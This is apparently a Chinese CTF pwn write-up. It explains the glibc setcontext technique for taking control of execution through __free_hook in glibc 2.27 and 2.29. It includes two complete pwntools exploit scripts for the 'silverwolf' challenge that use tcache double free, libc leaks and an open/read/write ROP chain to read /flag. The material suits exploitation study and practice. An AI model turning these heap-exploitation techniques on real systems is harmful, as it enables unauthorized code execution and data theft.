Pwn glibc setcontext

学一下 setcontext.

setcontext 是 glibc 中设置寄存器上下文的一个函数, 有些题只能改一个 hook, 并不能随意控制执行流, 这时就可以用 setcontext 修改寄存器如 rip, rsp 等, 控制执行流. setcontext 在 glibc 版本不同的实现略有不同, 下面将会分成 2.27 及以下, 2.29 及以上来说明.

glibc 2.27 的 setcontext 代码如下 (由于源码就是汇编写的, 而且有些宏, 所以不如拿反编译的汇编看更加直接):

/pwn-glibc-setcontext/img/asm-2.27.png
glibc 2.27 setcontext 汇编代码

可以看到, 从 0x52085 开始, 一直在通过 rdi 指向的地址处去设置寄存器的值, 除了 rax 最后赋值为 0. 0x520ae 处的 push rcx, 配合最后的 ret, 是在设置 rip.

而我们知道, 函数调用时, 第一个参数就是放在 rdi 里的. 如果这时候 free hook 被覆盖成了 (setcontext + 0x35) 这个位置, 然后执行 free(addr), rdi 则会是 addr, 即 chunk 的 user 地址. 这里的数据一般来说我们可以控制, 所以只要调用这个, 就可以设置寄存器, 达到随意控制程序执行流的目的.

后续一般就可以让 rsp 跳到事先布置好的 ROP 链上, 或者 rip 跳到 mprotect 函数去开一段可执行空间, 然后执行事先写好的 shellcode.

glibc 2.29 的 setcontext 代码如下:

/pwn-glibc-setcontext/img/asm-2.29.png
glibc 2.29 setcontext 汇编代码

可以看到, 最主要的变化就是 rdi 变成了 rdx. 这样一来, free 的第一个参数是 rdi, 就不太方便了. 不过如果 rdx 可控 (比如前面有一个函数的第三个参数可控) 也是可以的.

这里还能够找到一个 gadget: mov rdx, [rdi + 8]; mov [rsp], rax; call [rdx + 0x20]. 可以把 free hook 写到这个 gadget 上, 提前在堆块中写好内容 rdx 和 call 的 setcontext.

下面以 2021-ciscn-silverwolf 在 2.27, 2.29 两个版本下的攻击来举例.

保护全开, 只允许 open, read, write. (不能 mprotect)

只能控制一个堆块, free 之后没有将指针置空. alloc 大小限制在了 0x78, 使得堆块大小不超过 fastbin.

新版 2.27 (及以上), 加入了 double free 检测. 不过可以 edit 去改掉 key.

因为做了沙箱, 所以堆上已经有一部分内容了, 通过这些内容可以很容易 leak heap.

这里用 tcache leak libc 有一个小技巧. 原来是用 small chunk 先填满 tcache, 再 free 就会放到 unsorted bin 中, 这里可以 leak libc. 但是此题限制了大小, 不能这么做.

不过, glibc 在求 t_idx 的时候用的是 chunksize, 而 tcache 分配并不会检查堆块大小, 所以可以用小堆块 double free 构造分配到一个大堆块 (大于 0x80) 上, 这样再 free 的时候求得的 t_idx 就是大的那个了, 然后多次 free 这个堆块导致 count[t_idx]++, 直到 7 以后, 再 free 一次就到了 unsorted bin 中了.

接下来就是构造 frame 和 ROP 链, 使得 free hook 触发 setcontext 执行 ROP. 稍微麻烦一点的是这里大小不太够, 整个 frame 要 0xb0, 但是最大只允许 alloc 0x78. 所以这里得精心布置一下, 满足偏移就行.

这里还有一个问题是, libc 里的 open 函数, 用的是 openat 这个系统调用, 在构造的时候可以去找控制 rax 的 gadget 和 syscall; ret 来进行.

最后我们再用 double free 的方法进行任意地址分配, 修改 free hook 到 setcontext + 0x35 处即可.

exp:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from pwn import *
import subprocess
context(os='linux', arch='amd64', log_level='debug')

procname = './silverwolf'
libcname = '/home/wings/CTF/tools/pwn/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
libc = ELF(libcname)

def n2b(x):
    return str(x).encode()

def op(x):
    io.sendlineafter(b'Your choice: ', n2b(x))
    io.sendlineafter(b'Index: ', n2b(0))

def allocate(size):
    op(1)
    io.sendlineafter(b'Size: ', n2b(size))

def edit(content):
    op(2)
    io.sendafter(b'Content: ', content)

def show():
    op(3)
    io.recvuntil(b'Content: ')

def delete():
    op(4)

# leak heap
allocate(0x10)
show()
heap = u64(io.recv(6).ljust(8, b'\x00')) - 0x1790
success(f'leak heap: {hex(heap)}')
delete()

# double free
allocate(0x20)
delete()
edit(b'\x00' * 0x20)
delete()

# allocate to a larger chunk
edit(p64(heap + 0xad0).ljust(0x20, b'\x00'))
allocate(0x20)
allocate(0x20)

# free chunk into unsorted bin and leak libc
for _ in range(4):
    delete()
    edit(b'\x00' * 0x20)
delete()
show()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x3ebca0
success(f'leak libc: {hex(libc.address)}')

pop_rdi_ret = libc.address + 0x00054e4b
pop_rsi_ret = libc.address + 0x00030007
pop_rdx_ret = libc.address + 0x00001b9e
syscall_ret = libc.address + 0x0013ff57
mov_rax_2_ret = libc.address + 0x000d0af0
mov_rax_1_ret = libc.address + 0x000d0ae0
xor_rax_ret = libc.address + 0x000d0ad0

# ROP chain
allocate(0x10)
edit(b'/flag'.ljust(0x10, b'\x00'))
allocate(0x78)      # heap + 0xe80
payload = flat([
    p64(pop_rdi_ret),
    p64(heap + 0x1610),
    p64(syscall_ret),
    p64(pop_rdi_ret),
    p64(3),
    p64(pop_rsi_ret),
    p64(heap + 0xad0),
    p64(pop_rdx_ret),
    p64(0x40),
    p64(xor_rax_ret),
    p64(syscall_ret),
    p64(pop_rdi_ret),
    p64(1),
    p64(mov_rax_1_ret),
    p64(syscall_ret),
])
edit(payload)

# set rsp and rip
allocate(0x60)
payload = (p64(heap + 0xe90) + p64(mov_rax_2_ret)).rjust(0x40, b'\x00') + b'\n'
edit(payload)

# set free hook
allocate(0x50)
delete()
edit(b'\x00' * 0x50)
delete()
edit(p64(libc.sym['__free_hook']).ljust(0x50, b'\x00'))
allocate(0x50)
allocate(0x50)
edit(p64(libc.sym['setcontext'] + 0x35) + b'\n')

# trigger free
allocate(0x60)
allocate(0x60)
delete()

io.interactive()

2.29 则需要把 free hook 设置到 mov rdx, [rdi + 8]; mov [rsp], rax; call [rdx + 0x20] 上, 并且同时需要多布置一下堆的内容. rdi + 8 写上要触发 free 的堆地址 (setcontext 需要), 堆的 0x20 处还要写上 setcontext + 0x35. 这样这个 gadget 执行完后, 就和 2.27 的没太大差别了.

不知道为啥打的时候 ROP 链上写的 pop rdx 执行不了 (read 和 write 的第三个参数), 很奇怪. 于是直接在 setcontext 里去设置了 rdx 的值:

exp:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *
import subprocess
context(os='linux', arch='amd64')#, log_level='debug')

procname = './silverwolf'
libcname = '/home/wings/CTF/tools/pwn/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc.so.6'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
libc = ELF(libcname)

def n2b(x):
    return str(x).encode()

def op(x):
    io.sendlineafter(b'Your choice: ', n2b(x))
    io.sendlineafter(b'Index: ', n2b(0))

def allocate(size):
    op(1)
    io.sendlineafter(b'Size: ', n2b(size))

def edit(content):
    op(2)
    io.sendafter(b'Content: ', content)

def show():
    op(3)
    io.recvuntil(b'Content: ')

def delete():
    op(4)

# leak heap
allocate(0x10)
show()
heap = u64(io.recv(6).ljust(8, b'\x00')) - 0x1790
success(f'leak heap: {hex(heap)}')
delete()

# double free
allocate(0x20)
delete()
edit(b'\x00' * 0x20)
delete()

# allocate to a larger chunk
edit(p64(heap + 0xad0).ljust(0x20, b'\x00'))
allocate(0x20)
allocate(0x20)

# free chunk into unsorted bin and leak libc
for _ in range(4):
    delete()
    edit(b'\x00' * 0x20)
delete()
show()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1e4ca0
success(f'leak libc: {hex(libc.address)}')

pop_rdi_ret = libc.address + 0x0003da90
pop_rsi_ret = libc.address + 0x00039d70
# pop_rdx_ret = libc.address + 0x001ca086
syscall_ret = libc.address + 0x00139587
mov_rax_2_ret = libc.address + 0x000ce4c0
mov_rax_1_ret = libc.address + 0x000ce4b0
xor_rax_ret = libc.address + 0x0018e540

# ROP chain
allocate(0x10)
edit(b'/flag'.ljust(0x10, b'\x00'))
allocate(0x78)      # heap + 0xe80
payload = flat([
    p64(pop_rdi_ret),
    p64(heap + 0x1610),
    p64(syscall_ret),
    p64(pop_rdi_ret),
    p64(3),
    p64(pop_rsi_ret),
    p64(heap + 0xad0),
    # p64(pop_rdx_ret),
    # p64(0x40),
    p64(xor_rax_ret),
    p64(syscall_ret),
    p64(pop_rdi_ret),
    p64(1),
    p64(mov_rax_1_ret),
    p64(syscall_ret),
]).ljust(0x78, b'\x00')
edit(payload)

# set rsp and rip
allocate(0x60)
payload  = p64(0) * 3 + p64(0x40)   # 用 setcontext 设置 rdx
payload += (p64(heap + 0xe90) + p64(mov_rax_2_ret)).rjust(0x20, b'\x00') + b'\n'
edit(payload)

# set free hook
magic = libc.address + 0x00150550
allocate(0x50)
delete()
edit(b'\x00' * 0x50)
delete()
edit(p64(libc.sym['__free_hook']).ljust(0x50, b'\x00'))
allocate(0x50)
allocate(0x50)
edit(p64(magic) + b'\n')

# set rdx, rip using magic gadget
allocate(0x60)
allocate(0x60)
payload  = p64(0) + p64(heap + 0x12f0)
payload += p64(libc.sym['setcontext'] + 0x35).rjust(0x18, b'\x00') + b'\n'
edit(payload)

# trigger free
delete()

io.interactive()